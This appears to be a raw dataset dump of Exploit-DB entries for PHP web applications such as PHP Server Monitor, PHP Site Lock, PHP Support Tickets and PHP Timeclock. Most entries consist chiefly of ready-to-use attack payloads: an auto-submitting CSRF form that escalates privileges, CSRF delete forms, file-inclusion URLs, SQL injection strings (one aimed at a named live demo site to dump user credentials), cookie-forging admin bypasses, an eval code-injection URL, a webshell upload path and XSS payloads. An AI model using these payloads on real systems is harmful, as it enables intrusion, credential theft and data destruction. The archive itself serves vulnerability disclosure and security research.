deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38574
Description: PHP Server Monitor 3.1.1 - Cross-Site Request Forgery / Privilege Escalation
Type: webapps
Platform: php
Date: 2015-10-30
Author: hyp3rlinx

Exploit:
<!--
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-PRIV-ESCALATE.txt


Vendor:
================================
www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download


Product:
================================
PHP Server Monitor 3.1.1


Vulnerability Type:
=================================
Privilege Escalation / CSRF


Vulnerability Details:
=====================

PHP Server Monitor uses level 20 for basic user and level 10 for Admins these are stored in Database. Basic users can elevate thier privileges to that of Administrator
by crafting an HTTP payload changing their level to '10' then getting an Administrator to click an infected link or visit a malicious website to launch an
CSRF attack which will grant the user admin access. This problem is due to no CSRF protection mechanism in place. 


Exploit code(s):
===============

1) privilege escalation / CSRF
-->

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

<form id="HELL" action="http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=3" method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="10">
<input type="text" name="password" value="">
<input type="text" name="password_repeat" value="">
<input type="text" name="email" value="ghostofsin@abyss.com">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>


</body>
</html>


<!--
Exploitation Technique:
=======================
Remote


Disclosure Timeline:
=========================================================
Vendor Notification: NA
Oct 30, 2015  : Public Disclosure


Severity Level:
=========================================================
High


Description:
==========================================================


Request Method(s):              [+]  POST


Vulnerable Product:             [+]  PHP Server Monitor 3.1.1
  

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx
-->
Exploit-DB #45932
Description: PHP Server Monitor 3.3.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-12-03
Author: Javier Olmedo

Exploit:
# Exploit Title: PHP Server Monitor 3.3.1 - Cross-Site Request Forgery
# Exploit Author: Javier Olmedo
# Website: https://www.sidertia.com
# Date: 2018-11-28
# Google Dork: N/A
# Vendor: https://www.phpservermonitor.org/
# Software Link: https://github.com/phpservermon/phpservermon/releases/tag/v3.3.1
# Affected Version: 3.3.1 and possibly before
# Patched Version: update to 3.3.2
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# References:
# https://github.com/phpservermon/phpservermon/issues/670
# https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor
   
# 1. Technical Description:
# PHP Server Monitor version 3.3.1 and possibly before are affected by multiple
# Cross-Site Request Forgery vulnerability, an attacker could remove users, logs,
# and servers.
 
# 2.1 Proof Of Concept (Delete User):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=user&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="user" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete User" />
    </form>
  </body>
</html>

# 2.2 Proof Of Concept (Delete Server):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete Server" />
    </form>
  </body>
</html>

# 2.3 Proof Of Concept (Delete All Logs):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server_log&action=delete) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server&#95;log" />
      <input type="hidden" name="action" value="delete" />
      <input type="submit" value="Delete All Logs" />
    </form>
  </body>
</html>
Exploit-DB #12861
Description: PHP SETI@home Web monitor - 'PHPsetimon' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-03
Author: eidelweiss

Exploit:
===========================================================================
PHP SETI@home web monitor (phpsetimon) RFI / LFI Vulnerability
===========================================================================

Home Page:	http://setiathome.ssl.berkeley.edu/
download:	http://www.mariovaldez.net/software/phpsetimon/
Author:		eidelweiss
Contact:	g1xsystem[at]windowslive.com

=====================================================================

Description:

The PHP SETI@home web monitor is a very simple PHP script to monitor single or multiple setiathome programs running in your workstation or server, via the local web server. 
If you don't know what is SETI@home, visit the SETI@home website. 

=====================================================================

	--=[ Vuln C0de ]=-

[-] path/seti.php

-----------------------------------------------------------------------------------------

require_once ("seticlients.inc.php");
require_once ("config.inc.php");

$ps_charset = "iso-8859-1";
if ($ps_cfg_language <> "")
  $ps_htmllang = "<meta http-equiv='Content-Type' content='text/html; charset=$ps_charset'>\n";
$ps_languages = array ("es" => 1, "en" => 1);
if (array_key_exists (strtolower ($ps_cfg_language), $ps_languages)) {
  $ps_cfg_language = strtolower ($ps_cfg_language);
  require_once ($ps_cfg_langfiles . $ps_cfg_language. ".inc.php");
}
else { $ps_cfg_language = "en"; include($ps_cfg_langfiles . "en.inc.php"); }

require_once ("seti_lib.inc.php");
require_once ("seti_data.inc.php");
require_once ("seti_graphs.inc.php");

-----------------------------------------------------------------------------------------

	-=[ P0C LFI ]=-

	http://127.0.0.1/path/seti.php?ps_cfg_langfiles= [LFI]%00
			
	-=[ P0C RFI ]=-

	http://127.0.0.1/path/seti.php?ps_cfg_langfiles= [inj3ct0r sh3ll]


=========================| -=[ E0F ]=- |=========================
Exploit-DB #51754
Description: PHP Shopping Cart 4.2 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2024-01-29
Author: nu11secur1ty

Exploit:
## Title: PHP Shopping Cart-4.2 Multiple-SQLi
## Author: nu11secur1ty
## Date: 09/13/2023
## Vendor: https://www.phpjabbers.com/
## Software:https://www.phpjabbers.com/php-shopping-cart-script/#sectionPricing
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the id parameter, and a database error
message was returned. Two single quotes were then submitted and the
error message disappeared. The attacker easily can steal all
information from the database of this web application!
WARNING! All of you: Be careful what you buy! This will be your responsibility!

[+]Payload:
mysql

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT
3795=3795-- sRcp&session_id=

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND
GTID_SUBSET(CONCAT(0x71717a6b71,(SELECT
(ELT(3820=3820,1))),0x[PII_REDACTED]),3820)-- kQZA&session_id=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND
(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id=

## Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Shopping-Cart-4.2

## Proof and Exploit:
https://www.nu11secur1ty.com/2023/09/php-shopping-cart-42-multiple-sqli.html

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #5842
Description: PHP Site Lock 2.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## PHP Site Lock 2.0 ( index.php page )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : PHP Site Lock
##
## version  : 2.0
##
##  Site    : www.phpsitelock.com
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##           index.php?page=show_article&articleid=-1+union+select+concat_ws(0x3a3a,user_login,user_pass,user_email),2,3,4,5+from+wp_users/*
##
##
##  -(:: L!VE DEMO ::)-
##
##     http://www.kalptarudemos.com/demo/phpsitelock/index.php?page=show_article&articleid=-1+union+select+concat_ws(0x3a3a,user_login,user_pass,user_email),2,3,4,5+from+wp_users/*
##
########################
########################
## -(:: NOTE ::)-
## login F0r demo :)
##
## login :  test_demo
## [CREDENTIAL_REDACTED]
##
##  <<>>  (( Passwords => MD5 ))
######################################################################################################
######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-17]
Exploit-DB #8604
Description: PHP Site Lock 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-04
Author: ThE g0bL!N

Exploit:
-------------------------------------[+]
Homepage:http://www.kalptarudemos.com
Product: PHP Site Lock 2.0
home:www.h4ckf0ru.com

-------------------------------------
PHP Site Lock 2.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------
1)javascript:document.cookie="login_id=0;path=/";
1)javascript:document.cookie="group_id=[id grroup admin];path=/";
2)javascript:document.cookie="login_name=[admin name];path=/";
3)javascript:document.cookie="user_id=[user id ];path=/";
4)javascript:document.cookie="user_type=[admin Type];path=/";
Then Go to url: http://victim/[path]/index.php

demo
----
http://www.kalptarudemos.com/demo/phpsitelock/index.php?page=adminlogin

exploit for dem0
----------------
1)javascript:document.cookie="login_id=0;path=/";
2)javascript:document.cookie="group_id=1;path=/";
3)javascript:document.cookie="login_name=admin;path=/";
4)javascript:document.cookie="user_id=1;path=/";
5)javascript:document.cookie="user_type=admin;path=/";


Note: The operation is not worked by assemble The Information :)
Put it one after one :)
--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) - His0k4- Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-05-04]
Exploit-DB #35088
Description: PHP State - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-09
Author: jos_ali_joe

Exploit:
source: https://www.securityfocus.com/bid/45328/info

PHP State is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/state.php?id=37+union+select+1,2,3,4,5,6,7,concat_ws (0x3a,user(),database(),versi(),@version_compile_os),8,9,10,11- josalijoe -
Exploit-DB #34405
Description: PHP Stock Management System 1.02 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2014-08-25
Author: Ragha Deepthi K R

Exploit:
‚Äã# Exploit Title: Multiple Persistent Cross Site Scripting Vulnerabilities
in PHP Stock Management System 1.02
# Date: 25 Aug 2014
# Exploit Author: ‚ÄãRagha Deepthi K R
# Vendor Homepage: ‚Äãhttp://www.posnic.com/‚Äã
# Software Link:‚Äã http://sourceforge.net/projects/stockmanagement/
# Version: ‚Äã1.02
# Tested on: Windows 7

#################################################
‚ÄãPHP Stock Management System 1.02‚Äã is vulnerable for ‚Äãmultiple Persistent
Cross Site Scripting Vulnerabilit‚Äãies.
The vulnerability affects 'sname'(Store Name Field), 'address'(Address
Field), 'place'(Place Field), 'city'(City Field), pin(Pin Field),
website(Website Field), email(Email Field) parameter‚Äãs‚Äã while updating the
‚Äãstore details in 'update_details.php' and when seen in 'view_report.php'

#################################################
Greetz :‚Äã Syam !‚Äã
Exploit-DB #7426
Description: PHP Support Tickets 2.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-11
Author: ahmadbady

Exploit:
****(remote file upload)****

script: PHP_Support_Tickets_v2.2
   
***************************************************************************
download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHP_Support_Tickets_v2.2.zip
   
***************************************************************************
1:www.site.com/path/index.php?page=register

2:New Ticket

3:upload php file

shell www.site.com/path/upload/you user/phpst_ticket_number/shell.php
   
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-11]
Exploit-DB #17822
Description: PHP Support Tickets 2.2 - Code Execution
Type: webapps
Platform: php
Date: 2011-09-12
Author: brain[pillow]

Exploit:
# Exploit Title: PHP Support Tickets v2.2 Code Exec
# Google Dork: "PHP Support Tickets v2.2"
# Date: 26.09.2010
# Author: brain[pillow]
# Software Link: http://www.phpsupporttickets.com/
# Version: 2.2

====================================================================
# Vuln. code:

/classes/GUI/abstract.GUI.php 

    public function getPageName() { 
        return eval('return PHPST_PAGENAME_' . strtoupper($this->page) . ';'); 
    } 

====================================================================
# Exploit:

/index.php?page=xek();function PHPST_PAGENAME_XEK(){phpinfo();}
Exploit-DB #45143
Description: PHP Template Store Script 3.0.6 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-03
Author: Sarafraz Khan

Exploit:
*******************************************************************************************
# Exploit Title:  PHP Template Store Script- 3.0.6 - Stored XSS via Addres ,Bank Name,and A/c Holder Name 
# Date: 02.08.2018
# Site Titel : Exclusive Scripts
# Vendor Homepage:  https://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/
# Category: Web Application
# Version: 3.0.6
# Exploit Author: Sarafraz Khan
# Contact: https://www.facebook.com/sarfraj.khan.79
# Web:  https://goglequeens.com
# Tested on: Windows 10 -Firefox
# CVE-2018-14869
*****************************************************************************************
 
Proof of Concept:-
--------------------------
1. Go  to the  site ( http://www.server.com/ ) .
2- Click on => Login => Register => and then fill the Form and click on Register Now
3-Goto your mail and Verify it.
4-Now come back to site and Sign in  using your  Verified mail and Password.
5-Goto Setting => Personal information  and paste these code in 
    Address line 1 =>         "><img src=x onerror=prompt(/SARAFRAZ/)>
    Address Line 2 =>        "><img src=x onerror=prompt(/KHAN/)>
     Bank name  =>            "><img src=x onerror=prompt(/KING/)>
    A/C Holder name =>     "><img src=x onerror=prompt(/GOOGLEQUEENS/)>

  and then click on Update Profile.

6-Now You will having popup of /SARAFRAZ/  ,  /KHAN/ , / KING/ and /GOOGLEQUEENS/  in you account..

***************************************************************************************
Exploit-DB #31971
Description: PHP Ticket System Beta 1 - 'get_all_created_by_user.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-28
Author: HauntIT

Exploit:
# ==============================================================
# Title ...| PHP Ticket System SQL Injection
# Version .| BETA_1.zip
# Date ....| 27.02.2014
# Found ...| HauntIT Blog
# Home ....| http://sourceforge.net/projects/phpticketsystem/
# ==============================================================

 
# ==============================================================
# SQL Injection

---<request>---
GET /k/cms/beta/mods/tickets/data/get_all_created_by_user.php?id='mynameissqli&sort%5B0%5D%5Bfield%5D=undefined&sort%5B0%5D%5Bdir%5D=desc HTTP/1.1
Host: 10.149.14.62
---<request>---


# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/
Exploit-DB #18778
Description: PHP Ticket System Beta 1 - 'index.php?p' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-24
Author: G13

Exploit:
# Exploit Title: PHP Ticket System Beta 1 'p' SQL Injection
# Date: 04/16/12
# Author: G13
# Twitter: @g13net
# Software Site: http://sourceforge.net/projects/phpticketsystem/
# Version: Beta 1
# Category: webapp (php)
#

##### Description #####

PHP Ticket System is a small PHP MySQL trouble ticket or work
ordersystem that is a work in progress.

##### Vulnerability #####

The 'p' parameter on index.php is vulnerable to SQL Injection.

A user must be signed in to perform this attack.

##### Exploit #####

http://localhost/index.php?p=[SQLi]&id=211&_=[PII_REDACTED]12

##### PoC #####

http://localhost/index.php?p=edit_ticket' AND SLEEP(5) AND
'yoUg'='yoUg&id=211&_=[PII_REDACTED]12

##### Vendor Notification #####

4/16/12 - Vendor Notified
4/17/12 - Vendor reponse, will be fixed in next release
4/24/12 - Disclosure
Exploit-DB #49853
Description: PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-10
Author: Tyler Butler

Exploit:
# Exploit Title: PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS)
# Date: May 3rd 2021
# Exploit Author: Tyler Butler
# Vendor Homepage: http://timeclock.sourceforge.net
# Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/
# Version: 1.04
# Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5

Description: PHP Timeclock version 1.04 (and prior) suffers from multiple Cross-Site Scripting vulnerabilities

#1: Unauthenticated Reflected XSS: Arbitrary javascript can be injected into the application by appending a termination /'> and payload directly to the end of the GET request URL. The vulnerable paths include (1) /login.php  (2) /timeclock.php (3) /reports/audit.php and (4) /reports/timerpt.php. 


Payload: /'><svg/onload=alert`xss`>

Example: http://target/login.php/'%3E%3Csvg/onload=alert%60xss%60%3E
ß

Steps to reproduce:
  1. Navigate to a site that uses PHP Timeclock 1.04 or earlier
  2. Make a GET request to one of the four resources mentioned above
  3. Append /'> and the payload to the end of the request
  4. Submit the request and observe payload execution


#2: Unauthenticated Reflected XSS: Arbitrary javascript can be injected into the application in POST requests to (1) /reports/audit.php (2) /reports/total_hours.php (3) /reports/timerpt.php via the from_date and to_date parameters.

# Example: 

POST /reports/audit.php HTTP/1.1
Host: localhost
Content-Length: 98
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/reports/audit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=62cfcffbd929595ba31915b4d8f01d7d; remember_me=foo
Connection: close

date_format=M%2Fd%2Fyyyy&from_date=5%2F2%2F2021'><svg/onload=alert`xss`>&to_date=5%2F18%2F2021&csv=0&submit.x=40&submit.y=5


Payload: '><svg/onload=alert`xss`>


Steps to reproduce:
  1. Navigate to a site that uses PHP Timeclock 1.04 or earlier
  2. Create a report at one of the vulnerable directories noted above
  3. Intercept the request with a proxy tool like BurpSuite
  4. Inject payload into the from_date or to_date fields